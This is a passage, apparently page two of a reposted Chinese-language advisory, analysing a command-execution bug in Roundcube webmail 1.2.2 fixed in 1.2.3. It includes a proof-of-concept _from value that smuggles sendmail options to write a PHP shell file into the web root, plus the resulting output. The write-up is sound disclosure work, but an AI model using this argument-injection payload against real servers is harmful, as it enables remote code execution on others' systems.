Loading
0

流行开源电子邮件程序Roundcube v1.2.2命令执行漏洞分析

else if (trim($item)) {
            continue;
        }
        ⋮
    }
    if ($count) {
        $RECIPIENT_COUNT += count($result);
    }
    return implode(‘, ‘, $result);
}

在863行

if (preg_match(‘/^$/’, $item)) {

该函数使用了另一个正则表达式,邮件匹配之后在行末使用$符。攻击者使用的payload只要不满足这个正则条件,在foreach循环后,$result数组会保持空值。在这种情况下,876行的implode()函数返回一个空字符串(等价于FALSE),然后$from的值就不会被过滤和改变了。
概念验证
当使用Roundcube发送邮件时,HTTP请求是可以被截断和篡改的。通过修改_from参数在文件系统上创建一个恶意文件。

example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php

这将允许攻击者在web根目录创建一个可执行文件rce.php,其内容就是_subject参数的值。执行完请求之后,将会创建包含以下内容的文件。

04731 >>> Recipient names must be specified
04731 @localhost
04731 php phpinfo(); ?>
04731 1000:rcube.php
04731 1.0
04731 04731 04731 7bit
04731 20 Nov 2016 04:02:52 +0100
04731 @example.com -OQueueDirectory=/tmp
04731 04731 390a0c6379024872a7f0310cdea24900@localhost>
04731 @example.com -OQueueDirectory=/tmp
04731 04731 1.2.2
04731 04731 04731 

因为邮件数据没有被编码,subject参数会以明文方式保存。这就允许将PHP标签写入到shell文件中。
时间线
2016/11/21 首次联系供应商
2016/11/22 供应商在Github上修复漏洞
2016/11/28 供应商同意协调披露
2016/11/28 供应商发布Roundcube1.2.3
总结
Roundcube已经可以抵御来自网络中的很多攻击向量,且有一个庞大的社区进行维护,本文中所描述的漏洞实属少见。在自动化检测工具的帮助下,我们不仅可以检测到这种少见的漏洞,还节省了大量人力,将更多的精力放在其他方向。
参考资料
https://sourceforge.net/projects/roundcubemail/files/stats/timeline?dates=2015-12-01+to+2016-12-01[return]
https://github.com/roundcube/roundcubemail/wiki/Configuration#sending-messages-via-smtp [return]
http://php.net/manual/en/mail.configuration.php [return]
http://php.net/manual/en/ini.sect.safe-mode.php [return]

分页阅读: 1 2
【声明】:8090安全小组门户(https://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。